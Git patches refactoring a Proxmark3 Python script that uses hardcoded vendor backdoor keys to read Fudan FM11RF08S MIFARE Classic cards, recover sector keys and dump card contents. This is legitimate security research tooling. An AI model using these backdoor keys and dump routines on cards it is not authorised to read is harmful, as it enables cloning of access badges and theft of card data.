required_version: print(f"Python version: {sys.version}") print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") - exit() + return False + return True # +============================================================================= @@ -210,7 +211,10 @@ def getDarkKey(): for k in dklist: cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" print(f"{prompt} `{cmd}`", end='', flush=True) - res = p.console(f"{cmd}", capture=False) + res = p.console(f"{cmd}") + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + blk0 = line[10:56+1] if res == 0: print(" - success") dkey = k @@ -220,12 +224,8 @@ def getDarkKey(): if dkey == "": print(f"{prompt}") print(f"{prompt} ! Unknown key, or card not detected.") - exit(1) - - for line in p.grabbed_output.split('\n'): - if " | " in line and "# | s" not in line: - blk0 = line[10:56+1] - + return False + return True # +============================================================================= # Extract data from block 0 @@ -317,6 +317,9 @@ def decodeBlock0(): # >> "blk0" # ============================================================================== def fudanValidate(): + # Warning, this import causes a "double free or corruption" crash if the script is called twice... + # So for now we limit the import only when really needed + import requests global blk0 url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" From 2293874402313e39ed36eb1f92fc5c39656d1343 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 17:01:35 +0100 Subject: [PATCH 085/155] python script: wip, less globals, clearer dataflow --- client/pyscripts/fm11rf08_full.py | 529 ++++++++++++++---------------- 1 file changed, 241 insertions(+), 288 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 291795cf1..d33be88d0 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -56,104 +56,111 @@ except ModuleNotFoundError: # Print and Log # >> "logfile" # ============================================================================== -def startlog(uid, append=False): +def initlog(): + global logbuffer global logfile + logbuffer = '' + logfile = None - logfile = f"{dpath}hf-mf-{uid:08X}-log.txt" + +def startlog(uid, dpath, append=False): + global logfile + global logbuffer + + logfile = f"{dpath}hf-mf-{uid.hex().upper()}-log.txt" if append is False: with open(logfile, 'w'): pass + if logbuffer != '': + with open(logfile, 'a') as f: + f.write(logbuffer) + logbuffer = '' -# +========================================================= -def lprint(s, end='\n', flush=False): +def lprint(s='', end='\n', flush=False, prompt="[=]", log=True): + + s = f"{prompt} " + f"\n{prompt} ".join(s.split('\n')) print(s, end=end, flush=flush) - if logfile is not None: - with open(logfile, 'a') as f: - f.write(s + end) + if log is True: + global logbuffer + if logfile is not None: + with open(logfile, 'a') as f: + f.write(s + end) + else: + # buffering + logbuffer += s + end # ++============================================================================ # == MAIN == -# >> "prompt" # >> p. [console handle] -# >> "keyfile" # ============================================================================== def main(): - global prompt global p - - prompt = "[=]" p = pm3.pm3() # console interface + initlog() - getPrefs() if not checkVer(): return - parseCli() + dpath = getPrefs() + args = parseCli() - print(f"{prompt} Fudan FM11RF08[S] full card recovery") + # No logfile name yet + lprint("Fudan FM11RF08[S] full card recovery") + lprint(f"\nDump folder: {dpath}") - print(prompt) - print(f"{prompt} Dump folder: {dpath}") - - if not getDarkKey(): + bdkey, blk0 = getBackdoorKey() + if bdkey is None: return - decodeBlock0() - - global keyfile - global mad + uid = getUIDfromBlock0(blk0) + startlog(uid, dpath, append=False) + decodeBlock0(blk0) mad = False - keyfile = f"{dpath}hf-mf-{uid:08X}-key.bin" - keyok = False + keyfile = f"{dpath}hf-mf-{uid.hex().upper()}-key.bin" - if args.force is False and loadKeys() is True: - keyok = True - else: + if args.force or (key := loadKeys(keyfile)) is None: if args.recover is False: - lprint(f"{prompt} * Keys not loaded, use --recover to run recovery script [slow]") + lprint("* Keys not loaded, use --recover to run recovery script [slow]") else: - recoverKeys() - if loadKeys() is True: - keyok = True + keyfile = recoverKeys() + key = loadKeys(keyfile) - if keyok is True: - if verifyKeys() is False: + if key is not None: + ret, mad, key = verifyKeys(key) + if ret is False: if args.nokeys is False: - lprint(f"{prompt} ! Use --nokeys to keep going past this point") + lprint("! Use --nokeys to keep going past this point") return - readBlocks() - patchKeys(keyok) + data, blkn = readBlocks(bdkey) + data = patchKeys(data, key) - diskDump() # save it before you do anything else + dump18 = diskDump(data, uid, dpath) # save it before you do anything else - dumpData() - dumpAcl() + dumpData(data, blkn) + dumpAcl(data) if mad is True: - dumpMad() + dumpMad(dump18) - if (args.bambu is True) or (detectBambu() is True): - dumpBambu() + if (args.bambu is True) or (detectBambu(data) is True): + dumpBambu(data) - lprint(prompt) - lprint(f"{prompt} Tadah!") + lprint("\nTadah!") return # +============================================================================= # Get PM3 preferences -# >> "dpath" # ============================================================================== def getPrefs(): - global dpath - p.console("prefs show --json") prefs = json.loads(p.grabbed_output) dpath = prefs['file.default.dumppath'] + os.path.sep + return dpath # +============================================================================= @@ -170,10 +177,8 @@ def checkVer(): # +============================================================================= # Parse the CLi arguments -# >> args. # ============================================================================== def parseCli(): - global args parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') @@ -187,76 +192,73 @@ def parseCli(): if args.force is True: args.recover = True + return args # +============================================================================= # Find backdoor key -# >> "dkey" -# >> "blk0" # [=] # | sector 00 / 0x00 | ascii # [=] ----+-------------------------------------------------+----------------- # [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. # ============================================================================== -def getDarkKey(): - global dkey - global blk0 +def getBackdoorKey(): # FM11RF08S FM11RF08 FM11RF32 dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] - print(prompt) - print(f"{prompt} Trying known backdoor keys...") + lprint("\nTrying known backdoor keys...") - dkey = "" + bdkey = "" for k in dklist: cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" - print(f"{prompt} `{cmd}`", end='', flush=True) + lprint(f"\n`{cmd}`", end='', flush=True) res = p.console(f"{cmd}") for line in p.grabbed_output.split('\n'): if " | " in line and "# | s" not in line: blk0 = line[10:56+1] if res == 0: - print(" - success") - dkey = k + lprint(" - success", prompt='') + bdkey = k break - print(f" - fail [{res}]") + lprint(f" - fail [{res}]", prompt='') + + if bdkey == "": + lprint("\n! Unknown key, or card not detected.") + return None, None + lprint(f" Backdoor Key : {bdkey}") # show key + return bdkey, blk0 + + +# +============================================================================= +# Extract UID from block 0 +# ============================================================================== +def getUIDfromBlock0(blk0): + uids = blk0[0:11] # UID string : "11 22 33 44" + uid = bytes.fromhex(uids.replace(' ', '')) # UID (bytes) : 11223344 + return uid - if dkey == "": - print(f"{prompt}") - print(f"{prompt} ! Unknown key, or card not detected.") - return False - return True # +============================================================================= # Extract data from block 0 -# >> "uid" -# >> "uids" # ============================================================================== -def decodeBlock0(): - global uid - global uids - - # We do this early so we can name the logfile! - uids = blk0[0:11] # UID string : "11 22 33 44" - uid = int(uids.replace(' ', ''), 16) # UID (value) : 0x11223344 - startlog(uid, append=False) - - lprint(prompt) - lprint(f"{prompt} UID BCC ++----- RF08 ID -----++") - lprint(f"{prompt} ! ! SAK !! !!") - lprint(f"{prompt} ! ! ! ATQA !! Fudan Sig !!") - lprint(f"{prompt} !---------. !. !. !---. VV .---------------. VV") +def decodeBlock0(blk0): + lprint("") + lprint(" UID BCC ++----- RF08 ID -----++") + lprint(" ! ! SAK !! !!") + lprint(" ! ! ! ATQA !! Fudan Sig !!") + lprint(" !---------. !. !. !---. VV .---------------. VV") # 0 12 15 18 24 27 45 # ! ! ! ! ! ! ! # 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF - lprint(f"{prompt} Block 0 : {blk0}") + lprint(f" Block 0 : {blk0}") # --- decode block 0 --- + uid = getUIDfromBlock0(blk0) bcc = int(blk0[12:14], 16) # BCC chk = 0 # calculate checksum - for h in uids.split(): - chk ^= int(h, 16) + for h in uid: + chk ^= h sak = int(blk0[15:17], 16) # SAK atqa = int(blk0[18:23].replace(' ', ''), 16) # 0x7788 @@ -284,93 +286,77 @@ def decodeBlock0(): # --- show results --- - lprint(prompt) + lprint() - lprint(f"{prompt} UID/BCC : {uid:08X}/{bcc:02X} - ", end='') if bcc == chk: - lprint("verified") + desc = "verified" else: - lprint(f"fail. Expected {chk:02X}") + desc = f"fail. Expected {chk:02X}" + lprint(f" UID/BCC : {uid.hex().upper()}/{bcc:02X} - {desc}") - lprint(f"{prompt} SAK : {sak:02X} - ", end='') if sak == 0x01: - lprint("NXP MIFARE TNP3xxx 1K") + desc = "NXP MIFARE TNP3xxx 1K" elif sak == 0x08: - lprint("NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K") + desc = "NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K" elif sak == 0x09: - lprint("NXP MIFARE Mini 0.3k") + desc = "NXP MIFARE Mini 0.3k" elif sak == 0x10: - lprint("NXP MIFARE Plus 2k") + desc = "NXP MIFARE Plus 2k" elif sak == 0x18: - lprint("NXP MIFARE Classic 4k | Plus 4k | Ev1 4k") + desc = "NXP MIFARE Classic 4k | Plus 4k | Ev1 4k" else: - lprint("{unknown}") - - lprint(f"{prompt} ATQA : {atqa:04X}") # show ATQA - lprint(f"{prompt} Fudan ID : {type}") # show type - lprint(f"{prompt} Fudan Sig: {hash}") # show ?Partial HMAC? - lprint(f"{prompt} Dark Key : {dkey}") # show key + desc = "{unknown}" + lprint(f" SAK : {sak:02X} - {desc}") + lprint(f" ATQA : {atqa:04X}") # show ATQA + lprint(f" Fudan ID : {type}") # show type + lprint(f" Fudan Sig: {hash}") # show ?Partial HMAC? # +============================================================================= # Fudan validation -# >> "blk0" # ============================================================================== -def fudanValidate(): - # Warning, this import causes a "double free or corruption" crash if the script is called twice... - # So for now we limit the import only when really needed - import requests - global blk0 - +def fudanValidate(blk0, live=False): url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" hdr = "Content-Type: application/text; charset=utf-8" post = f"{blk0.replace(' ', '')}" - lprint(prompt) - lprint(f"{prompt} Validator: `wget -q -O -" + lprint(f"\n Validator: `wget -q -O -" f" --header=\"{hdr}\"" f" --post-data \"{post}\"" f" {url}" " | json_pp`") - if args.validate: - lprint(prompt) - lprint(f"{prompt} Check Fudan signature (requires internet)...") + if live: + # Warning, this import causes a "double free or corruption" crash if the script is called twice... + # So for now we limit the import only when really needed + import requests + lprint("\nCheck Fudan signature (requires internet)...") headers = {"Content-Type": "application/text; charset=utf-8"} resp = requests.post(url, headers=headers, data=post) if resp.status_code != 200: - lprint(f"{prompt} HTTP Error {resp.status_code} - check request not processed") + lprint(f"HTTP Error {resp.status_code} - check request not processed") else: r = json.loads(resp.text) - lprint(f"{prompt} The man from Fudan, he say: {r['code']} - {r['message']}", end='') if r['data'] is not None: - lprint(f" {{{r['data']}}}") + desc = f" {{{r['data']}}}" else: - lprint("") + desc = "" + lprint(f"The man from Fudan, he say: {r['code']} - {r['message']}{desc}") else: - lprint(prompt) - lprint(f"{prompt} ...Use --validate to perform Fudan signature check automatically") + lprint("\n ...Use --validate to perform Fudan signature check automatically") # +============================================================================= # Load keys from file # If keys cannot be loaded AND --recover is specified, then run key recovery -# >> "keyfile" -# >> "key[17][2]" # ============================================================================== - - -def loadKeys(): - global keyfile - global key - +def loadKeys(keyfile): key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array - lprint(prompt) - lprint(f"{prompt} Load Keys from file: |{keyfile}|") + lprint(f"\nLoad Keys from file: |{keyfile}|") try: with (open(keyfile, "rb")) as fh: @@ -379,25 +365,20 @@ def loadKeys(): key[sec][ab] = fh.read(6) except IOError: - return False + return None - return True + return key # +============================================================================= # Run key recovery script -# >> "keyfile" # ============================================================================== def recoverKeys(): - global keyfile - badrk = 0 # 'bad recovered key' count (ie. not recovered) - lprint(prompt) - lprint(f"{prompt} Running recovery script, ETA: Less than 30 minutes") + lprint("\nRunning recovery script, ETA: Less than 30 minutes") - lprint(prompt) - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') r = recovery(quiet=False) keyfile = r['keyfile'] @@ -405,38 +386,36 @@ def recoverKeys(): # fdump = r['dumpfile'] # rdata = r['data'] - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') for k in range(0, 16+1): for ab in [0, 1]: if rkey[k][ab] == "": if badrk == 0: - lprint(f"{prompt} Some keys were not recovered: ", end='') + lprint("Some keys were not recovered: ", end='') else: - lprint(", ", end='') + lprint(", ", end='', prompt='') badrk += 1 kn = k if kn > 15: kn += 16 - lprint(f"[{kn}/", end='') - lprint("A]" if ab == 0 else "B]", end='') + lprint(f"[{kn}/", end='', prompt='') + lprint("A]" if ab == 0 else "B]", end='', prompt='') if badrk > 0: lprint("") + return keyfile # +============================================================================= # Verify keys -# >> "key[][]" -# >> mad! # ============================================================================== -def verifyKeys(): - global key - global mad +def verifyKeys(key): badk = 0 + mad = False - lprint(f"{prompt} Check keys..") + lprint("Check keys..") for sec in range(0, 16+1): # 16 normal, 1 dark sn = sec @@ -449,14 +428,14 @@ def verifyKeys(): bn += 64 cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" - lprint(f"{prompt} `{cmd}`", end='', flush=True) + lprint(f" `{cmd}`", end='', flush=True) res = p.console(f"{cmd}", capture=False) - lprint(" " * (3-len(str(bn))), end="") + lprint(" " * (3-len(str(bn))), end="", prompt='') if res == 0: - lprint(" ... PASS", end="") + lprint(" ... PASS", end="", prompt='') else: - lprint(" ... FAIL", end="") + lprint(" ... FAIL", end="", prompt='') badk += 1 key[sec][ab] = b'' @@ -464,36 +443,33 @@ def verifyKeys(): if (sec == 0) and (ab == 0) \ and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): mad = True - lprint(" - MAD Key") + lprint(" - MAD Key, prompt=''") else: - lprint("") + lprint("", prompt='') if badk > 0: - lprint(f"{prompt} ! {badk} bad key", end='') + lprint(f"! {badk} bad key", end='') lprint("s exist" if badk != 1 else " exists") - rv = False + rv = False, mad, key else: - lprint(f"{prompt} All keys verified OK") - rv = True + lprint("All keys verified OK") + rv = True, mad, key if mad is True: - lprint(f"{prompt} MAD key detected") + lprint("MAD key detected") return rv # +============================================================================= -# Read all block data - INCLUDING Dark blocks -# >> blkn -# >> "data[]" +# Read all block data - INCLUDING advanced verification blocks +# # [=] # | sector 00 / 0x00 | ascii # [=] ----+-------------------------------------------------+----------------- # [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. # ============================================================================== -def readBlocks(): - global data - global blkn +def readBlocks(bdkey): data = [] blkn = list(range(0, 63+1)) + list(range(128, 135+1)) @@ -502,15 +478,13 @@ def readBlocks(): # The vendor uses keyhole #2 (-b) # The thief uses keyhole #4 (backdoor) # |___ - rdbl = f"hf mf rdbl -c 4 --key {dkey} --blk" - lprint(prompt) - lprint(prompt + " Load blocks {0..63, 128..135}[64+8=72] from the card") + lprint("\n Load blocks {0..63, 128..135}[64+8=72] from the card") bad = 0 for n in blkn: - cmd = f"{rdbl} {n}" - print(f"\r{prompt} `{cmd}`", end='', flush=True) + cmd = f"hf mf rdbl -c 4 --key {bdkey} --blk {n}" + lprint(f"`{cmd}`", flush=True, log=False) for retry in range(5): p.console(f"{cmd}") @@ -528,26 +502,21 @@ def readBlocks(): data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") bad += 1 - print(" .. OK") + lprint(" .. OK", log=False) + return data, blkn # +============================================================================= # Patch keys in to data -# >> "key[][]" -# >> "data[]" -# >> keyok! +# # 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... # ============================================================================== -def patchKeys(keyok): - global key - global data - - lprint(prompt) - lprint(f"{prompt} Patch keys in to data") +def patchKeys(data, key): + lprint("\nPatch keys in to data") for sec in range(0, 16+1): blk = (sec * 4) + 3 # find "trailer" for this sector - if keyok: + if key is not None: if key[sec][0] == b'': keyA = "-- -- -- -- -- -- " else: @@ -564,22 +533,19 @@ def patchKeys(keyok): else: data[blk] = data[blk][:6] + "-- -- -- -- -- -- " + data[blk][24:36] + "-- -- -- -- -- --" + return data # +============================================================================= # Dump data -# >> blkn -# >> "data[]" # ============================================================================== -def dumpData(): - global blkn - global data +def dumpData(data, blkn): - lprint(prompt) - lprint(f"{prompt} ===========") - lprint(f"{prompt} Card Data") - lprint(f"{prompt} ===========") - lprint(f"{prompt}") + lprint() + lprint("===========") + lprint(" Card Data") + lprint("===========") + lprint() cnt = 0 for n in blkn: @@ -588,19 +554,19 @@ def dumpData(): sec = sec + 16 if (n % 4 == 0): - lprint(f"{prompt} {sec:2d}:{data[cnt]}") + lprint(f"{sec:2d}:{data[cnt]}") else: - lprint(f"{prompt} :{data[cnt]}") + lprint(f" :{data[cnt]}") cnt += 1 if (cnt % 4 == 0) and (n != blkn[-1]): # Space between sectors - lprint(prompt) + lprint() # +============================================================================= # Let's try to detect a Bambu card by the date strings... # ============================================================================== -def detectBambu(): +def detectBambu(data): try: dl = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') dls = dl[2:13] @@ -613,33 +579,31 @@ def detectBambu(): # yy y y m m d d h h m m exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" - lprint(f"{prompt}") if re.search(exp, dl) and (ds == dls): - lprint(f"{prompt} Bambu date strings detected.") + lprint("\nBambu date strings detected.") return True else: - lprint(f"{prompt} Bambu date strings not detected.") + lprint("\nBambu date strings not detected.") return False # +============================================================================= # Dump bambu details # https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md -# >> "data[]" +# # 6 18 30 42 53 # | | | | | # 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... # +============================================================================= -def dumpBambu(): - global data +def dumpBambu(data): try: - lprint(f"{prompt}") - lprint(f"{prompt} ===========") - lprint(f"{prompt} Bambu Tag") - lprint(f"{prompt} ===========") - lprint(f"{prompt}") - lprint(f"{prompt} Decompose as Bambu tag .. ", end='') + lprint() + lprint("===========") + lprint(" Bambu Tag") + lprint("===========") + lprint() + lprint("Decompose as Bambu tag .. ", end='') MaterialVariantIdentifier_s = bytes.fromhex(data[1][6:29]).decode('ascii').rstrip('\x00') UniqueMaterialIdentifier_s = bytes.fromhex(data[1][30:53]).decode('ascii').rstrip('\x00') # [**] 8not16 @@ -693,49 +657,48 @@ def dumpBambu(): Hash.append(data[b][6:53]) lprint("[offset:length]") - lprint(f"{prompt} Block 1:") - lprint(f"{prompt} [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") - lprint(f"{prompt} [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") - lprint(f"{prompt} Block 2:") - lprint(f"{prompt} [ 0:16] FilamentType_s = \"{FilamentType_s}\"") - lprint(f"{prompt} Block 4:") - lprint(f"{prompt} [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") - lprint(f"{prompt} Block 5:") - lprint(f"{prompt} [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") - lprint(f"{prompt} [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") - lprint(f"{prompt} [6: 2] Block5_7to8 = {{{Block5_7to8}}}") - lprint(f"{prompt} [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") - lprint(f"{prompt} [12: 4] Block5_12to15 = {{{Block5_12to15}}}") - lprint(f"{prompt} Block 6:") - lprint(f"{prompt} [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") - lprint(f"{prompt} [ 2: 2] DryingTime_h = {DryingTime_h}hrs") - lprint(f"{prompt} [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") - lprint(f"{prompt} [6: 2] BedTemperature_c = {BedTemperature_c}^C") - lprint(f"{prompt} [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") - lprint(f"{prompt} [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") - lprint(f"{prompt} [12: 4] Block6_12to15 = {{{Block6_12to15}}}") - lprint(f"{prompt} Block 8:") - lprint(f"{prompt} [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") - lprint(f"{prompt} [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") - lprint(f"{prompt} Block 9:") - # lprint(f"{prompt} [ 0:16] TrayUID_s = \"{TrayUID_s}\"") - lprint(f"{prompt} [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") - lprint(f"{prompt} Block 10:") - lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") - lprint(f"{prompt} [ 4: 2] SppolWidth_um = {SppolWidth_um}um") - lprint(f"{prompt} [6:10] Block10_6to15 = {{{Block10_6to15}}}") - lprint(f"{prompt} Block 12:") - lprint(f"{prompt} [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") - lprint(f"{prompt} Block 13:") - lprint(f"{prompt} [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") - lprint(f"{prompt} Block 14:") - lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") - lprint(f"{prompt} [ 4: 2] FilamentLength_m = {FilamentLength_m}m") - lprint(f"{prompt} [6:10] Block10_6to15 = {{{Block10_6to15}}}") - lprint(f"{prompt}") - lprint(f"{prompt} Blocks {hblk}:") + lprint(" Block 1:") + lprint(f" [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") + lprint(f" [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") + lprint(" Block 2:") + lprint(f" [ 0:16] FilamentType_s = \"{FilamentType_s}\"") + lprint(" Block 4:") + lprint(f" [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") + lprint(" Block 5:") + lprint(f" [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") + lprint(f" [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") + lprint(f" [6: 2] Block5_7to8 = {{{Block5_7to8}}}") + lprint(f" [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") + lprint(f" [12: 4] Block5_12to15 = {{{Block5_12to15}}}") + lprint(" Block 6:") + lprint(f" [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") + lprint(f" [ 2: 2] DryingTime_h = {DryingTime_h}hrs") + lprint(f" [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") + lprint(f" [6: 2] BedTemperature_c = {BedTemperature_c}^C") + lprint(f" [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") + lprint(f" [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") + lprint(f" [12: 4] Block6_12to15 = {{{Block6_12to15}}}") + lprint(" Block 8:") + lprint(f" [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") + lprint(f" [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") + lprint(" Block 9:") + # lprint(f" [ 0:16] TrayUID_s = \"{TrayUID_s}\"") + lprint(f" [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") + lprint(" Block 10:") + lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f" [ 4: 2] SppolWidth_um = {SppolWidth_um}um") + lprint(f" [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(" Block 12:") + lprint(f" [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") + lprint(" Block 13:") + lprint(f" [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") + lprint(" Block 14:") + lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f" [ 4: 2] FilamentLength_m = {FilamentLength_m}m") + lprint(f" [6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"\n Blocks {hblk}:") for i in range(0, len(hblk)): - lprint(f"{prompt} [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") + lprint(f" [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") except Exception as e: lprint(f"Failed: {e}") @@ -743,7 +706,7 @@ def dumpBambu(): # +============================================================================= # Dump ACL -# >> "data[][]" +# # 6 18 24 27 30 33 42 53 # | | | | | | | | # 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... @@ -824,17 +787,16 @@ def dumpBambu(): # WARNING: # IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! # ============================================================================== -def dumpAcl(): +def dumpAcl(data): global blkn aclkh = [] # key header aclk = [""] * 8 # key lookup aclkx = [] # key output - lprint(f"{prompt}") - lprint(f"{prompt} =====================") - lprint(f"{prompt} Access Control List") - lprint(f"{prompt} =====================") + lprint("\n=====================") + lprint(" Access Control List") + lprint("=====================") aclkh.append(" _______________________________________________________ ") aclkh.append("| | Sector Trailers |") @@ -872,7 +834,7 @@ def dumpAcl(): acld[6] = "| A+B ¦ KeyB || KeyB ¦ A+B | [110]" # noqa: E222 acld[7] = "| -- ¦ -- || -- ¦ -- | [111]" # noqa: E222 - idx = [] * (16+2) + idx = [[]] * (16+2) # --- calculate the ACL indices for each sector:block --- for d in data: @@ -905,39 +867,33 @@ def dumpAcl(): # --- print it all out --- for line in aclkh: - lprint(f"{prompt} {line}") + lprint(f" {line}") i = 0 for line in aclkx: - lprint(f"{prompt} {line}") + lprint(f" {line}") if (i % 4) == 3: - lprint(f"{prompt} | | ¦ || ¦ || ¦ |") + lprint(" | | ¦ || ¦ || ¦ |") i += 1 - lprint(f"{prompt}") + lprint() for line in acldh: - lprint(f"{prompt} {line}") + lprint(f" {line}") i = 0 for line in acldx: - lprint(f"{prompt} {line}") + lprint(f" {line}") if (i % 3) == 2: - lprint(f"{prompt} | | ¦ || ¦ |") + lprint(" | | ¦ || ¦ |") i += 1 # +============================================================================= # Full Dump -# >> "uid" -# >> "dump18" # ============================================================================== -def diskDump(): - global uid - global dump18 +def diskDump(data, uid, dpath): + dump18 = f"{dpath}hf-mf-{uid.hex().upper()}-dump18.bin" - dump18 = f"{dpath}hf-mf-{uid:08X}-dump18.bin" - - lprint(prompt) - lprint(f"{prompt} Dump Card Data to file: {dump18}") + lprint(f"\nDump Card Data to file: {dump18}") bad = False with open(dump18, 'wb') as f: @@ -947,35 +903,32 @@ def diskDump(): b = bytes.fromhex(d[6:53].replace(" ", "").replace("--", "FF")) f.write(b) if bad: - lprint(f"{prompt} Bad data exists, and has been saved as 0xFF") + lprint("Bad data exists, and has been saved as 0xFF") + return dump18 # +============================================================================= # Dump MAD -# >> "dump18" # ============================================================================== -def dumpMad(): - global dump18 +def dumpMad(dump18): - lprint(f"{prompt}") - lprint(f"{prompt} ====================================") - lprint(f"{prompt} MiFare Application Directory (MAD)") - lprint(f"{prompt} ====================================") - lprint(f"{prompt}") + lprint() + lprint("====================================") + lprint(" MiFare Application Directory (MAD)") + lprint("====================================") + lprint() cmd = f"hf mf mad --verbose --file {dump18}" - print(f"{prompt} `{cmd}`") + lprint(f"`{cmd}`", log=False) - lprint(f"{prompt}") - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,\n') - lprint("") p.console(f"{cmd}") for line in p.grabbed_output.split('\n'): lprint(line) - lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') # ++============================================================================ From 13c8ca76fc1c6280792c20e28876ee85610c928c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Thu, 7 Nov 2024 17:34:56 +0100 Subject: [PATCH 086/155] python script: added few FIXME --- client/pyscripts/fm11rf08_full.py | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index d33be88d0..d1123ffc7 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -110,6 +110,9 @@ def main(): lprint("Fudan FM11RF08[S] full card recovery") lprint(f"\nDump folder: {dpath}") + # FIXME: script is announced as for RF08 and for RF08S but it comprises RF32N key + # and if RF08 is supported, all other NXP/Infineon with same backdoor can be treated + # by the same script (once properly implemented, see other FIXME) bdkey, blk0 = getBackdoorKey() if bdkey is None: return @@ -120,10 +123,13 @@ def main(): mad = False keyfile = f"{dpath}hf-mf-{uid.hex().upper()}-key.bin" + # FIXME: nr of sectors depend on the tag. RF32N is 40, RF32 is 64, RF08 is 16, RF08S is 16+1 + # Currently loadKeys is hardcoded for RF08S if args.force or (key := loadKeys(keyfile)) is None: if args.recover is False: lprint("* Keys not loaded, use --recover to run recovery script [slow]") else: + # FIXME: recovery() is only for RF08S. TODO for the other ones with a "darknested" attack keyfile = recoverKeys() key = loadKeys(keyfile) @@ -134,12 